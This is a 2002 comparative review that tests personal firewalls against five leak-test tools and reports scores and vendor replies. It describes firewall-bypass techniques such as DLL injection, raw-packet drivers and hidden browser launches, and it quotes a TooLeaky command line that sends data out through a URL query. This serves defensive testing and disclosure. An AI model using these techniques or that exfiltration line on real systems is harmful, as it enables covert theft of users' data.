 |
 Personal firewalls vs Leak Tests
March 27, 2002
Since most users do not know which firewall to choose it is becoming important to learn more about advantages and flaws of each product. We have already tested how effective most popular firewalls are in making users' computers stealth (invisible) on the Internet. Now our goal is to test outbound filtering features provided by today's firewalls.
Firewalls use outbound filtering features to monitor all outcoming connections and block malicious programs such as trojans, spyware, adware when they try to connect to remote address (that is actually a cracker). Most firewall users are confident of their firewall and do not even suppose that outbound filtering feature of their firewall can be bypassed. As outbound filtering is the major part of firewall protection we can claim most users do not suppose their firewalls are not really protecting them.
Meanwhile several security experts have created so-called Leak tests which question the efficiency of outbound filtering feature used by some personal firewalls. Such tools act like trojans (backdoors) and demonstrate that it is possible to bypass firewall's protection.
To test outbound filtering features of the leading firewalls we have selected five Leak Test tools. These tools are: LeakTest (by Steve Gibson), YALTA (by Soft4Ever), TooLeaky (by Zensoft), FireHole (by Robin Keir) and OutBound (by HackBusters).
Then we have downloaded eight leading personal firewalls to compare how these products do against the Leak tests. Each firewall was tested with default settings. In other words we have not re-configured the firewalls after they had been installed on the system. The reason to test firewalls with default settings is most users are having difficulties in configuring firewalls so they do not change certain settings after they install the program and instead use default configuration.
LeakTest
Leak Test was the first tool which has proven the poor quality of most personal firewalls by bypassing outbound traffic detection feature.
While the majority of firewalls relied on application trust levels set by the user it was shown that just replacing a trusted application with a malicious agent of the same name would make the firewall allow outbound traffic from the malicious program with all the privileges of the real version.
Recent versions of most firewalls have this bug fixed by performing checksums of the trusted applications and warning the user if a dissimilar copy of the application was identified.
Yalta
Yalta was created by the developers of Look'n'Stop firewall. Yalta acts like a Trojan trying to send message to a remote address bypassing firewall' filters.
"Yalta" consists of two tests: the Classical Leak Test and the Enhanced Leak Test. We have tested all firewalls with Yalta's Enhanced Leak Test as the Classical Leak Test is very simple and do not pose any problems to the leading firewalls.
Yalta's Enhanced Test utilizes kernel-mode driver which is installed on user's PC. Yalta sends its packets through this driver directly to network adapter. Thus the packets bypass TCP/IP stack and try to get unnoticed by the firewall.
TooLeaky
TooLeaky uses the system's web browser to transmit information without the knowledge of the user.
The tool opens your default web browser with the following command line:
iexplore.exe http://grc.com/lt/leaktest.htm?PersonalInfoGoesHere
The browser window is hidden so user does not notice it. If the web browser is allowed to access port 80 by the firewall then any personal data can be transmitted to remote address (GRC.com in this case). Such info can include anything including user' passwords, credit card information and much more.
FireHole
Firehole created by Robin Keir, lead network security programmer with Foundstone, uses default web browser to transmit the data to remote host. But its technique is much more sophisticated than one used by TooLeaky.
"FireHole" installs a DLL file (with intercept function inside it) on user' computer. Then this DLL gets loaded up with any subsequent program and is treated as being in the same process space as that program. So "FireHole" uses the process space of system's default browser and as a result almost certainly trusted by the firewall.
OutBound
Outbound created by HackBusters asks user to tell it two "secret" phrases, and then attempts to send that data to the HackBusters site.
Like Yalta Outbound sends its packets directly to network adapter trying to bypass the firewall. But what distinguishes Outbound from other Leak tests is this tool utilizes TCP packets with certain flags set. Such packets are not filtered by some firewalls. Outbound exploits the fact some firewalls do not filter already established connections due to keep CPU's resources unconsumed. Instead such firewalls filter only packets with connection requests and this can be bypassed by using other types of packets.
Firewalls vs Leak tests
 - "passed"
 - "failed"
* - Yalta Enhanced Test
** - Look'n'Stop 2.03b3 with default settings fails all tests except Yalta but if you activate the Application Filtering feature Look'n'Stop will pass all five Leak Tests!
*** - Sygate Pro 5.0 with default settings fails to block Firehole but with enabled "DLL authentication" feature this firewall will stop Firehole.
**** - Zone Alarm Pro with default settings also fails Firehole test but if you move "Program control" slider to the "High" level the program will turn-on its "dll-files control" feature and will pass the test by blocking Firehole' dll-file.
Standings
Each firewall was given a point for each passed Leak test and here are the standings:
| |
Firewall |
|
Points |
|
| |
Look'n'Stop 2.03b3
|
|
5 (1 - default settings) |
|
| |
Sygate Pro 5.0 |
|
4 (3 - default settings) |
|
| |
ZoneAlarm Pro 3.0.091 |
|
4 (3 - default settings) |
|
| |
McAfee 3.02.1029.0 |
|
3 |
|
| |
Kerio 2.1.1
|
|
3 |
|
| |
Outpost Free 1.0.1511 |
|
2 |
|
| |
Outpost Pro 1.0.1511 |
|
2 |
|
| |
Sygate 4.2.872 |
|
2 |
|
| |
ZoneAlarm 2.6.362 |
|
2 |
|
| |
BlackIce 2.9.cai |
|
1 |
|
| |
Look'n'Stop Lite 1.03 |
|
1 |
|
| |
NIS 2002 |
|
1 |
|
| |
NPF 2002 |
|
1 |
|
|
|
Comments on results:
- Yes, the Leak tests are just indicating that it is possible to bypass the firewall protection but who knows if such techniques are already used by crackers? Who knows if some trojans are already utilizing techinques used by TooLeaky, Firehole and Outbound? And it is quite possible that some wicked developers have already built in such backdoor mechanisms in their software due to spy for you. Today only one firewall - Look'n'Stop 2.03b3 is able to block all five techniques while the users of other products are not so safe as they might think.
- Unfortunately the developers of Look'n'Stop firewall have not included the Application Filtering feature by default. This means some rookie users are not protected until they re-configure their Look'n'Stop 2.03b3. However we hope Soft4Ever will make certain changes to include application filtering to default settings.
- We hope Zone Alarm and Sygate developers will also include blocking the technique used by Firehole to the default configuration.
- It is very disappointing only three firewalls (ZoneAlarm Pro 3.0.091, Look'n'Stop 2.03b3 and Sygate Pro 5.0) are able to block FireHole though it had been released several months ago. Other firewall developers has not yet addressed these issues.
- We have not tested Tiny personal firewall because Kerio firewall uses the same engine. Kerio's developers have also improved some features of original Tiny firewall.
- We have infromed all the developers about this comparison so they might be able to fix these bugs.
Firewall developers comments on results:
Look'n'Stop editor
Thank you for considering Look 'n' Stop in your personal firewall comparison. We will include the Application Filtering as a default setting in our official 2.03 release. We had chosen not to activate Application Filtering as a default setting to avoid "New application" popups that surprise some users. We will change this default setting.
Elisha Riedlinger, Sygate Technologies, Inc.:
Thank you for notifying us about this. We are currently working on an
enhancement to be able to block TooLeaky. This will be available in the next version of
our personal firewall.
Te Smith, Zone Labs Inc.:
First of all, we do plan to put a stop to TooLeaky in our products. I don't
have an exact ETA for releasing, but when we make that release, we'll be
sure to send you a note so you can run your tests again.
As you've noted, with ZoneAlarm Pro 3.0, we do stop FireHole, when settings
are at their highest level. I know you must be wondering why we just didn't do that by default. The reason is that our default settings are meant to maximize security while minimizing any inconvenience. Because FireHole is a theoretical exploit at this time (we're not aware of any known instances in the wild, but are on the lookout and would be very interested to hear of any you come across), we decided that the Medium setting would ship as a default. Of course, users
can always set their setting to High if they wish.
McAfee
Our software Development team is working on this so once we are through we will let you know soon. We thank you for bringing this to our notice. We will sincerely follow your suggestions to improve the standard of our product.
Mikhail Zakhryapin, Agnitum Ltd.:
Thank you for providing us with the results of the tests. We are aware that
Outpost Firewall has not passed all five leak tests because we have
performed internal tests here at Agnitum. This vulnerability was discovered
several month ago and just after that we started working on the new version
of our engine because we consider this vulnerability as very serious. Alpha
version of Outpost Firewall that we are testing right now is able to block
all these leak tests. We plan to release it for public in the middle of
April.
|
|
